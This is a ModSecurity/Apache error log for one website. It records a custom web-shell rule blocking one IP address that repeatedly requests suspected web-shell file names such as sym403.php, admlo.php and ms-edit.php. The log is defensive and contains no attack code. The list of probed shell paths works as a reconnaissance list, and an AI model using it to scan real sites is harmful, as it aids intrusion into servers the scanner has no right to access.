[Fri Apr 24 19:19:37.792018 2026] [:error] [pid 4177:tid 4198] [client 20.107.212.3:30364] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpxl.php"] [unique_id "aetRyX2asKnvdrSe0x7ZNwAAAY0"]
[Fri Apr 24 19:19:38.573490 2026] [:error] [pid 17808:tid 17811] [client 20.107.212.3:44107] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admlo.php"] [unique_id "aetRyuarbOEFI8qshvIa5wAAAEE"]
[Fri Apr 24 19:19:39.707484 2026] [:error] [pid 17721:tid 17786] [client 20.107.212.3:39306] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admlo.php"] [unique_id "aetRy-FXXkLeyDnfk_8ovwAAAAU"]
[Fri Apr 24 19:19:41.976097 2026] [:error] [pid 4177:tid 4201] [client 20.107.212.3:54229] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admlo.php"] [unique_id "aetRzX2asKnvdrSe0x7ZTAAAAZA"]
[Fri Apr 24 19:19:42.854388 2026] [:error] [pid 4177:tid 4188] [client 20.107.212.3:46082] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admlo.php"] [unique_id "aetRzn2asKnvdrSe0x7ZUQAAAYM"]
[Fri Apr 24 19:19:43.781857 2026] [:error] [pid 4177:tid 4198] [client 20.107.212.3:46124] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f5.php"] [unique_id "aetRz32asKnvdrSe0x7ZVQAAAY0"]
[Fri Apr 24 19:19:47.241528 2026] [:error] [pid 17721:tid 17799] [client 20.107.212.3:36104] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f5.php"] [unique_id "aetR0-FXXkLeyDnfk_8o3AAAABI"]
[Fri Apr 24 19:19:48.050897 2026] [:error] [pid 17720:tid 17774] [client 20.107.212.3:40961] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f5.php"] [unique_id "aetR1OhlUs6BS3Ng7_WBjQAAANQ"]
[Fri Apr 24 19:19:50.476219 2026] [:error] [pid 17808:tid 17819] [client 20.107.212.3:44110] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f5.php"] [unique_id "aetR1uarbOEFI8qshvIa9QAAAEk"]
[Fri Apr 24 19:19:51.825642 2026] [:error] [pid 4177:tid 4187] [client 20.107.212.3:48136] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ptanf.php"] [unique_id "aetR132asKnvdrSe0x7ZaAAAAYI"]
[Fri Apr 24 19:19:53.584342 2026] [:error] [pid 17721:tid 17793] [client 20.107.212.3:30365] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ptanf.php"] [unique_id "aetR2eFXXkLeyDnfk_8o5QAAAAw"]
[Fri Apr 24 19:19:55.261642 2026] [:error] [pid 14531:tid 14557] [client 20.107.212.3:35103] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ptanf.php"] [unique_id "aetR23fLU2gw-6KR-GayNAAAAVg"]
[Fri Apr 24 19:20:09.923466 2026] [:error] [pid 17808:tid 17828] [client 20.107.212.3:48155] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws80.php"] [unique_id "aetR6earbOEFI8qshvIbKAAAAFI"]
[Fri Apr 24 19:20:11.011387 2026] [:error] [pid 17721:tid 17803] [client 20.107.212.3:49605] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws80.php"] [unique_id "aetR6-FXXkLeyDnfk_8o7gAAABY"]
[Fri Apr 24 19:20:15.308576 2026] [:error] [pid 17720:tid 17763] [client 20.107.212.3:42041] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws80.php"] [unique_id "aetR7-hlUs6BS3Ng7_WB9AAAAMk"]
[Fri Apr 24 19:20:16.754318 2026] [:error] [pid 17719:tid 17729] [client 20.107.212.3:3196] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws80.php"] [unique_id "aetR8MTZ9gzEyL1BkPqZuQAAAII"]
[Fri Apr 24 19:20:17.663880 2026] [:error] [pid 17720:tid 17768] [client 20.107.212.3:40971] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zo.php"] [unique_id "aetR8ehlUs6BS3Ng7_WB_QAAAM4"]
[Fri Apr 24 19:20:18.563320 2026] [:error] [pid 17720:tid 17754] [client 20.107.212.3:62958] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zo.php"] [unique_id "aetR8uhlUs6BS3Ng7_WCAwAAAMA"]
[Fri Apr 24 19:20:19.975063 2026] [:error] [pid 17720:tid 17776] [client 20.107.212.3:49618] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zo.php"] [unique_id "aetR8-hlUs6BS3Ng7_WCDgAAANY"]
[Fri Apr 24 19:20:22.101680 2026] [:error] [pid 4177:tid 4196] [client 20.107.212.3:36142] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zo.php"] [unique_id "aetR9n2asKnvdrSe0x7ZugAAAYs"]
[Fri Apr 24 19:20:25.347311 2026] [:error] [pid 4177:tid 4209] [client 20.107.212.3:23051] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xy.php"] [unique_id "aetR-X2asKnvdrSe0x7ZvwAAAZg"]
[Fri Apr 24 19:20:27.140052 2026] [:error] [pid 17719:tid 17730] [client 20.107.212.3:3377] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xy.php"] [unique_id "aetR-8TZ9gzEyL1BkPqZyQAAAIM"]
[Fri Apr 24 19:20:34.044690 2026] [:error] [pid 17719:tid 17733] [client 20.107.212.3:58155] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xy.php"] [unique_id "aetSAsTZ9gzEyL1BkPqZ0QAAAIY"]
[Fri Apr 24 19:20:36.473186 2026] [:error] [pid 4177:tid 4209] [client 20.107.212.3:52289] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xy.php"] [unique_id "aetSBH2asKnvdrSe0x7ZyAAAAZg"]
[Fri Apr 24 19:20:37.909791 2026] [:error] [pid 4177:tid 4202] [client 20.107.212.3:41411] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/masks.php"] [unique_id "aetSBX2asKnvdrSe0x7Z0AAAAZE"]
[Fri Apr 24 19:20:39.296780 2026] [:error] [pid 17721:tid 17788] [client 20.107.212.3:41463] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/masks.php"] [unique_id "aetSB-FXXkLeyDnfk_8pDgAAAAc"]
[Fri Apr 24 19:20:41.264919 2026] [:error] [pid 22114:tid 22120] [client 20.107.212.3:62950] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/masks.php"] [unique_id "aetSCYAuWGz3WlMQjoffOQAAAQM"]
[Fri Apr 24 19:20:44.825834 2026] [:error] [pid 4177:tid 4190] [client 20.107.212.3:3340] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/masks.php"] [unique_id "aetSDH2asKnvdrSe0x7Z5wAAAYU"]
[Fri Apr 24 19:20:46.298337 2026] [:error] [pid 17808:tid 17810] [client 20.107.212.3:29728] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/man.php"] [unique_id "aetSDuarbOEFI8qshvIbVwAAAEA"]
[Fri Apr 24 19:20:47.623726 2026] [:error] [pid 17808:tid 17825] [client 20.107.212.3:53644] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/man.php"] [unique_id "aetSD-arbOEFI8qshvIbXQAAAE8"]
[Fri Apr 24 19:20:48.917778 2026] [:error] [pid 17719:tid 17741] [client 20.107.212.3:47684] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/man.php"] [unique_id "aetSEMTZ9gzEyL1BkPqZ1gAAAI4"]
[Fri Apr 24 19:20:51.540818 2026] [:error] [pid 17808:tid 17811] [client 20.107.212.3:3251] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/man.php"] [unique_id "aetSE-arbOEFI8qshvIbaQAAAEE"]
[Fri Apr 24 19:22:28.033185 2026] [:error] [pid 4177:tid 4199] [client 20.107.212.3:59443] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mga.php"] [unique_id "aetSdH2asKnvdrSe0x7a0wAAAY4"]
[Fri Apr 24 19:22:28.964665 2026] [:error] [pid 22114:tid 22124] [client 20.107.212.3:47202] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mga.php"] [unique_id "aetSdIAuWGz3WlMQjoffgwAAAQc"]
[Fri Apr 24 19:22:30.079601 2026] [:error] [pid 14531:tid 14538] [client 20.107.212.3:3270] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mga.php"] [unique_id "aetSdnfLU2gw-6KR-GazKwAAAUU"]
[Fri Apr 24 19:22:37.046894 2026] [:error] [pid 14531:tid 14557] [client 20.107.212.3:61590] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mga.php"] [unique_id "aetSfXfLU2gw-6KR-GazMQAAAVg"]
[Fri Apr 24 19:22:38.055574 2026] [:error] [pid 14531:tid 14548] [client 20.107.212.3:61617] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dshtv.php"] [unique_id "aetSfnfLU2gw-6KR-GazOQAAAU8"]
[Fri Apr 24 19:22:41.759098 2026] [:error] [pid 4177:tid 4203] [client 20.107.212.3:3264] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dshtv.php"] [unique_id "aetSgX2asKnvdrSe0x7bAwAAAZI"]
[Fri Apr 24 19:22:42.784602 2026] [:error] [pid 4177:tid 4198] [client 20.107.212.3:33616] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dshtv.php"] [unique_id "aetSgn2asKnvdrSe0x7bBwAAAY0"]
[Fri Apr 24 19:22:45.164026 2026] [:error] [pid 4177:tid 4201] [client 20.107.212.3:32420] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dshtv.php"] [unique_id "aetShX2asKnvdrSe0x7bEQAAAZA"]
[Fri Apr 24 19:22:46.455442 2026] [:error] [pid 4177:tid 4185] [client 20.107.212.3:36456] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sym403.php"] [unique_id "aetShn2asKnvdrSe0x7bGgAAAYA"]
[Fri Apr 24 19:22:47.925402 2026] [:error] [pid 22114:tid 22135] [client 20.107.212.3:20477] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sym403.php"] [unique_id "aetSh4AuWGz3WlMQjoffhwAAARI"]
[Fri Apr 24 19:22:49.170784 2026] [:error] [pid 22114:tid 22133] [client 20.107.212.3:63513] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sym403.php"] [unique_id "aetSiYAuWGz3WlMQjoffiQAAARA"]
[Fri Apr 24 19:22:51.068943 2026] [:error] [pid 4177:tid 4187] [client 20.107.212.3:3287] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sym403.php"] [unique_id "aetSi32asKnvdrSe0x7bNAAAAYI"]
[Fri Apr 24 19:22:52.227582 2026] [:error] [pid 4177:tid 4201] [client 20.107.212.3:32402] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/temp1.php"] [unique_id "aetSjH2asKnvdrSe0x7bOwAAAZA"]
[Fri Apr 24 19:22:55.193023 2026] [:error] [pid 4177:tid 4193] [client 20.107.212.3:56887] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/temp1.php"] [unique_id "aetSj32asKnvdrSe0x7bRwAAAYg"]
[Fri Apr 24 19:22:57.500783 2026] [:error] [pid 17720:tid 17758] [client 20.107.212.3:63464] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/temp1.php"] [unique_id "aetSkehlUs6BS3Ng7_WC8AAAAMQ"]
[Fri Apr 24 19:22:58.472666 2026] [:error] [pid 17721:tid 17782] [client 20.107.212.3:36084] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/temp1.php"] [unique_id "aetSkuFXXkLeyDnfk_8pfQAAAAE"]
[Fri Apr 24 19:23:01.078039 2026] [:error] [pid 4177:tid 4202] [client 20.107.212.3:28537] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "aetSlX2asKnvdrSe0x7bTwAAAZE"]
[Fri Apr 24 19:23:02.360746 2026] [:error] [pid 4177:tid 4206] [client 20.107.212.3:36498] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "aetSln2asKnvdrSe0x7bVAAAAZU"]
[Fri Apr 24 19:23:03.431601 2026] [:error] [pid 4177:tid 4188] [client 20.107.212.3:22110] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "aetSl32asKnvdrSe0x7bVwAAAYM"]
[Fri Apr 24 19:23:05.173383 2026] [:error] [pid 17720:tid 17768] [client 20.107.212.3:41500] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ms-edit.php"] [unique_id "aetSmehlUs6BS3Ng7_WDCgAAAM4"]
[Fri Apr 24 19:23:06.351896 2026] [:error] [pid 17720:tid 17778] [client 20.107.212.3:65045] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "aetSmuhlUs6BS3Ng7_WDEAAAANg"]
[Fri Apr 24 19:23:07.576662 2026] [:error] [pid 17720:tid 17757] [client 20.107.212.3:33621] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "aetSm-hlUs6BS3Ng7_WDEwAAAMM"]
[Fri Apr 24 19:23:10.693466 2026] [:error] [pid 17721:tid 17786] [client 20.107.212.3:36038] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "aetSnuFXXkLeyDnfk_8pjgAAAAU"]
[Fri Apr 24 19:23:12.158603 2026] [:error] [pid 17719:tid 17747] [client 20.107.212.3:38141] [client 20.107.212.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "aetSoMTZ9gzEyL1BkPqaSQAAAJQ"]
